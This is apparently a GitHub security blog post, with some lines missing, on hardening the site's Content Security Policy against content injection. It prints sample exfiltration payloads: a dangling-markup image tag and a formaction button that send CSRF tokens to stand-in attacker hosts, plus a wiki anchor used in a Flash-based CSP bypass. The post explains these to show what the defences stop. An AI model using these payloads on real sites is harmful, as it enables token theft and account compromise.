Just to get everyone on the same page, when talking about “content injection” we are talking about:
- Scriptless attacks – This is a more nuanced issue and is frequently not considered since people are too busy fending off XSS. But, as has been documented by Michal Zalewski in “Postcards from the post-XSS world”, Mario Heiderich (et al) in “Scriptless Attacks –
Stealing the Pie Without Touching the Sill”, and other related work, preventing XSS does not solve all of your content injection problems.
GitHub uses auto-escaping templates, code review, and static analysis to try to prevent these kinds of bugs from getting introduced in the first place, but history shows they are unavoidable. Any strategy that relies on preventing any and all content injection bugs is bound for failure and will leave your engineers, and security team, constantly fighting fires. We decided that the only practical approach is to pair prevention and detection with additional defenses that make content injection bugs much more difficult for attackers to exploit. As with most problems, there is no single magical fix, and therefore we have employed multiple techniques to help with mitigation. In this post we will focus on our ever evolving use of Content Security Policy (CSP), as it is our single most effective mitigation. We can’t wait to follow up on this blog to additionally review some of the “non-traditional” approaches we have taken to further mitigate content injection.
Content Security Policy
script-src 'self' assets-cdn.github.com jobs.github.com ssl.google-analytics.com secure.gaug.es;
style-src 'self' assets-cdn.github.com 'unsafe-inline';
object-src 'self' assets-cdn.github.com;
The policy was relatively simple, but substantially reduced the risk of XSS on GitHub.com. After the initial ship we knew there was quite a bit more we could do to tighten things up. During our initial ship we were forced to trust a number of domains to maintain backward compatibility. The above policy did nothing to help with HTML injection that could be used to exfiltrate sensitive information (demonstrated below). However, that was almost three years ago, and a lot has changed since then. We have refactored the vast majority of our third-party script dependencies and CSP itself has also added a number of new directives to further help mitigate content injection bugs and strengthen our policy.
Our current CSP policy looks like this:
connect-src 'self' uploads.github.com status.github.com api.github.com www.google-analytics.com wss://live.github.com;
form-action 'self' github.com gist.github.com;
img-src 'self' data: assets-cdn.github.com identicons.github.com www.google-analytics.com collector.githubapp.com *.gravatar.com *.wp.com *.githubusercontent.com;
style-src 'unsafe-inline' assets-cdn.github.com
While some of the above directives don’t directly relate to content injection, many of them do. So, let’s take a walk through the more important CSP directives that GitHub uses. Along the way we will discuss what our current policy is, how that policy prevents specific attack scenarios, and share some bounty submissions that helped us shape our current policy.
self seems relatively safe (and extremely common), it should be avoided when possible.
There are edge cases that any developer must concern themselves with when allowing
self as a source for scripts. There may be a forgotten JSONP endpoint that doesn’t sanitize the callback function name. Or, another endpoint that serves user-influenced content with a
text/plain. By eliminating
X-Content-Type-Options: nosniff header, but CSP provides extremely strong assurances, even if there were a bug that let an attacker control
We previously allowed
self for object and embed tags. The sole reason for this was a legacy reliance of sourcing ZeroClipboard from GitHub.com. We had since moved that asset to our CDN and the
First, an attacker creates a Wiki entry with the following content:
<a href="https://some_evil_site.com/xss/github/embed.php" class="choose_plan js-domain">domain</div>
One of the core features on GitHub is rendering user-supplied HTML (often via Markdown) in various locations (Issues, Pull Requests, Comments). All of these locations sanitize the resulting HTML to a safe subset to protect against arbitrary HTML injection. However, we had an oversight in our Wiki HTML sanitization filter that allowed setting an arbitrary
class attribute. The combination of setting the class to
The sourced URL corresponds to a “raw request” for a file in a user’s repository. A raw request for a non-binary file returns the file with a
text/plain, and is displayed in the user’s browser. As was hinted at previously, user-controlled content in combination with content sniffing often leads to unexpected behavior. We were well aware that serving user-controlled content on a GitHub.com domain would increase the chances of script execution on that domain. For that very reason, we serve all responses to raw requests on their own domain. A request to
https://github.com/test-user/test-repo/raw/master/script.png will result in a redirect to
raw.githubusercontent.com wasn’t on our
object-src list. So, how was the proof of concept able to get Flash to load and execute?
After rereading the submission, doing a bit of researching, and brewing some extra coffee, we came across this WebKit bug. Browsers are required to verify that all requests, including those resulting from redirects, are allowed by the CSP policy for the page. However, some browsers were only checking the domain from the first request against the source list in our CSP policy. Since we had
self in our source list, the embed was allowed. Combining the Flash execution with the injected HTML (specifically the
allowscriptaccess=always attribute) resulted in a full CSP bypass. The submission earned @adob a gold star and further cemented his placement at the top of the leaderboard. We now restrict object embeds to our CDN, and hope to block all object embeds once more broad support for the clipboard API is in place.
Note: The file that that was fetched in the above bounty submission was returned with a
image/png. Unfortunately, Flash has a bad habit of desperately wanting to execute things and will gleefully execute if the response vaguely looks and quacks like a Flash file :rage .
Unlike the directives we have talked about so far,
img-src doesn’t often come to mind when talking about security. By restricting where we source images, we limit one avenue of sensitive data exfiltration. For example, what if an attacker were able to inject an
img tag like this?
A tag with an unclosed quote will capture all output up to the next matching quote. This could include security sensitive content on the pages such as:
<input type="hidden" name="csrf_token" value="some_csrf_token_value">
The resulting image element will send a request to
http://some_evilsite.com/log_csrf?html=...some_csrf_token_value.... An attacker can leverage this “dangling markup” attack to exfiltrate CSRF tokens to a site of their choosing. There are a number of types of dangling markup which could lead to the similar exfiltration of sensitive information, but CSP’s restrictions helps to reduce the tags and attributes that can be targeted.
connect-src policy by adding support for dynamic policy additions. Historically, it has been relatively tedious to make dynamic changes to our policy per endpoint (i.e. we didn’t do it). But, with some recent development by @oreoshake to the Secure Headers library, it is now much easier for us going forward. For example, connections to
api.braintreegateway.com only occur on payment related pages. We can now enforce a unique exception to our policy, appending the third-party host only on pages that need to connect to the payment endpoint. Over time we hope to lock down other unique connection endpoints using dynamic CSP policies.
By limiting where forms can be submitted we help mitigate the risk associated with injected
form tags. Unlike the “dangling markup” attack described above for image tags, forms are even more nuanced. Imagine an attacker is able to inject the following into a page:
Sitting below the injection location is a form like:
<input type="hidden" name="csrf_token" value="afaffwerouafafaffasdsd">
Since the injected form has no closing
</form> tag we have a situation where the original form is nested inside of the injected form. Nested forms are not allowed and browsers will prefer the topmost form tag. So, when a user submits the form they will export their CSRF token to an attacker, subsequently allowing an attacker to perform a CSRF attack against the user.
Similarly, there happens to be a relatively obscure feature of
<button type="submit" form="version-form" formaction="https://some_evil_site.com/log_csrf_tokens">Click Me</button>
form-action to a known set of domains we don’t have to think nearly as hard about all the possible ways form submissions might exfiltrate sensitive information. Support for
form-action is probably one of the most effective recent additions to our policy, though adding it was not without challenges.
When we considered what might break in adding support for
form-action, we thought it would roll out cleanly. There were no forms identified that we submitted to an off-site domain. But, as soon as we deployed the “preview policy” (visible only to employees) we found an edge case we hadn’t anticipated. When users authorize an OAuth application they visit a URL like
https://github.com/login/oauth/authorize?client_id=b6a3dd26bac171548204. If the user has previously authorized the application they are immediately redirected to the OAuth application’s site. If they have not authorized the application they are presented a screen to grant access. This confirmation screen results in a form
POST to GitHub.com that does a 302 redirect to the OAuth application’s site. In this case, the form submission is to GitHub.com, but the request results in a redirect to a third-party site. CSP considers the full request flow when enforcing
form-action. Because the form submission results in navigation to a site that is not in our
form-action source list, the redirect is denied.
Recall that we have relied (until recently) on a static policy enforced on every page on GitHub.com. There was no easy way for us to modify the policy dynamically based on the OAuth authorization submission. At first we thought this was a deal breaker and would require us to remove support for
form-action until we had better support for a dynamic policy. Luckily, we found a work around by using a “meta refresh” redirect. We refactored our OAuth endpoint to redirect to the OAuth application’s site using a meta refresh tag (we have since optimized this to use a faster JS redirect that falls back to the meta refresh if necessary). By avoiding a 302 redirect, CSP only considers the initial form submission and not the subsequent redirect. We are effectively cheating by decoupling the form submission from the redirection. We would eventually like to add support for a dynamic source for our
form-action. The benefits of this change overwhelmingly outweighed the downsides and we deployed the solution to production last May.
prompt dialogs, but many users wouldn’t understand the nuance and may be socially engineered into providing their GitHub credentials. Firefox has support for some frame sandbox directives that try to prevent this behavior, such as
allow-modals, but these directives only apply to explicitly sandboxed frames. There is no similar CSP directive that restricts what an arbitrary frame can do regarding modal dialogs. The only current mitigation is to limit the domains that can be framed.
Our current policy globally allows our render domain (used for rendering things such as STL files, image diffs, and PDFs). Not long ago we also allowed
self was only used on a single page to preview GitHub Pages sites generated using our automatic generator. Using our recent support for dynamic policy additions, we now limit the
self source to the GitHub Pages preview page. After some additional testing, we may be able to use a similar dynamic policy for rendering in the future.
This directive effectively replaces the
X-FRAME-OPTIONS header and mitigates clickjacking and other attacks related to framing GitHub.com. Since this directive does not yet have broad browser support, we currently set both the
frame-ancestors directive and the
X-FRAME-OPTIONS header in all responses. Our default policy prevents any framing of content on GitHub.com. Similar to our
frame-src, we use a dynamic policy to allow
self for previewing generated GitHub Pages sites. We also allow framing of an endpoint used to share Gists via iframes.
Though not incredibly common, if an attacker can inject a
base tag into the head of a page, they can change what domain all relative URLs use. By restricting this to
self, we can ensure that an attacker cannot modify all relative URLs and force form submissions (including their CSRF tokens) to a malicious site.
Many browser plugins have a less than stellar security record. By restricting plugins to those we actually use on GitHub.com, we reduce the potential impact of an injected
embed tag. The
plugin-types directive is related to the
object-src directive. As was noted above, once more broad support for the clipboard API is in place, we intend to block
embed tags. At that point, we will be able to set our
object-src source list to
none and remove
We are thrilled with the progress we have made with our CSP implementation and the security protections it provides to our users. Incremental progress has been key to getting our policy, and the underlying browser features, to the maturity it is today. We will continue to expand our use of dynamic CSP policies, as they let us work toward a “least privilege” policy for each endpoint on GitHub.com. Furthermore, we will keep our eyes on w3c/webappsec for the next browser feature enabling us to lock things down even more.
No matter how restrictive our policy, we remain humble. We know there will always be a content injection attack vector that CSP does not prevent. We have started to implement mitigations for the gaps we know of, but, it is a work in progress as we look to current research and constant brainstorming to identify loopholes. We would love to write about our work mitigating some of these “post-CSP” edge cases. Once a few more pull requests are merged, we will be back to share some details. Until then, good luck on your own CSP journey.